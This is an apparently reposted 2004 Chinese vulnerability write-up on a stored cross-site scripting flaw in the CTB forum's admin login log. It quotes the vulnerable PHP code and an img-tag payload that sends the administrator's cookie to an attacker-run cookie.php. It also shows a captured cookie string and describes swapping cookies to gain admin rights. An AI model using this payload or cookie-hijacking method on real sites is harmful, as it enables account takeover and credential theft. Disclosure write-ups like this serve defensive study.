您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

漂亮但不安全的CTB论坛--CTB论坛再探

2009-2-4 15:48| 投稿: security

摘要:  本文作者:sniper 文章性质:原创 发布日期:2004-04-16 注:本文已在《黑客X档案》发表,转载请保留此信息。 ================================...
 本文作者:sniper 文章性质:原创 发布日期:2004-04-16 注:本文已在《黑客X档案》发表,转载请保留此信息。 ============================================   记得很久前PSKEY写过一篇CTB论坛存在的一个可以直接添加管理员的漏洞,的确CTB论坛的代码可读性非常好,是一个非常的美观的文本论坛。前几天找了套最新的1.63版的论坛代码来看了看,发现了一些不足之处可以让攻击者获得论坛管理权限。   在CTB论坛中对前台和后台登陆的情况都设置了一个日志记录供管理员查看,可以让管理员尽快发现论坛是否被人入侵。但是对于用户递交的数据没有进行任何处理就记录到了日志当中,我们可以通过递交特殊的语句来进行跨站攻击,从而直接得到密码。   我们看看admin目录下的login.php文件的日志处理部分的代码: 代码: -------------------------------------------------------------------------------- //后台管理员登陆日志 function adminLoginLog($check="ok") {   if($this->set[logRecord] == "N"){     return false;   }   $msgArray[phpCode] = $this->code;   //判断文件大小是否需要清空   if (filesize("../".$this->set['dataPath']."/log_adminlogin.php") > $this->set['logRecordSize']){     $this->file = "../".$this->set['dataPath']."/log_adminlogin.php";     $this->null_write("");   }   //登陆错误   //省去部分代码........   //登陆失败   else {     $msgArray[loginMode] = 0;     $msgArray[loginId] = $this->input['userName'];     $msgArray[wrongMsg] = $check;     $msgArray[userIp] = $this->ip;     $msgArray[loginTime] = time();     $msgArray[temp1] = ""; //备用     $msgArray[temp2] = ""; //备用     $this->file = "../".$this->set['dataPath']."/log_adminlogin.php";     $this->add_line($msgArray);   } } --------------------------------------------------------------------------------   从代码上看我们递交的用户名等信息既不会进行任何过滤也无论正确与否都会被保存到log_adminlogin.php里去,当管理员登陆到后台查看日志的时候就会显示出log_adminlogin.php里面记录的登陆信息,我们也就可以通过这个方法来得到管理员的ID和密码等信息。   我们打开后台登陆页面,在用户名那里输入: 代码: -------------------------------------------------------------------------------- <img src="javascript:window.open('http://192.168.1.1/cookie.php?'+documents.cookie)"> --------------------------------------------------------------------------------   因为无论登陆成功否,程序都会进行记录,所以密码我们可以随便填。其中192.168.1.1为我们放置cookie.php的网址,cookie.php为一个可以获得cookie信息的PHP文件。现在我们要做的就是等了,只要管理员一查看后台登陆日志,我们的PHP程序就会把他的COOKIE截取下来。   让我们看看截取到的文件内容: 引用: -------------------------------------------------------------------------------- ctb_user_login=ctb;%20ctb_user_pass=ce445102682e75bf533d44e1afc38a90;%20ctb_login_mode=1;%20eremite=0;%20skins=2;%20fylinklinkfylogin=cpb;%20userpass=2BA2A8AC968A7A2B0A7BAA7F2FEF18D2;%20username=sniper;%20Dwebdv=userid=1&usercookies=2&userhidden=&password=0reu3g775VrY7458&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUserID=3980383;%20TZ=480;%20PHPSESSID=d8765179dc4f3a8708515a031216e503 --------------------------------------------------------------------------------   我们需要只有ctb_user_login、ctb_user_pass和ctb_login_mode三个就可以得到前台管理权限了,有了这些信息,我们要获得前台管理员权限就非常容易,用IECookieView找到我们要编辑的COOKIE,把相应的部分替换掉,保存后再进入该站点你就是前台管理员了。   很简单的我们就得到了论坛的管理权限,如果被人利用,那么相信后果是非常严重的,希望用CTB论坛的朋友关注他们的官方站点的补丁发布情况,尽快修补该漏洞,以免造成不必要的损失。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部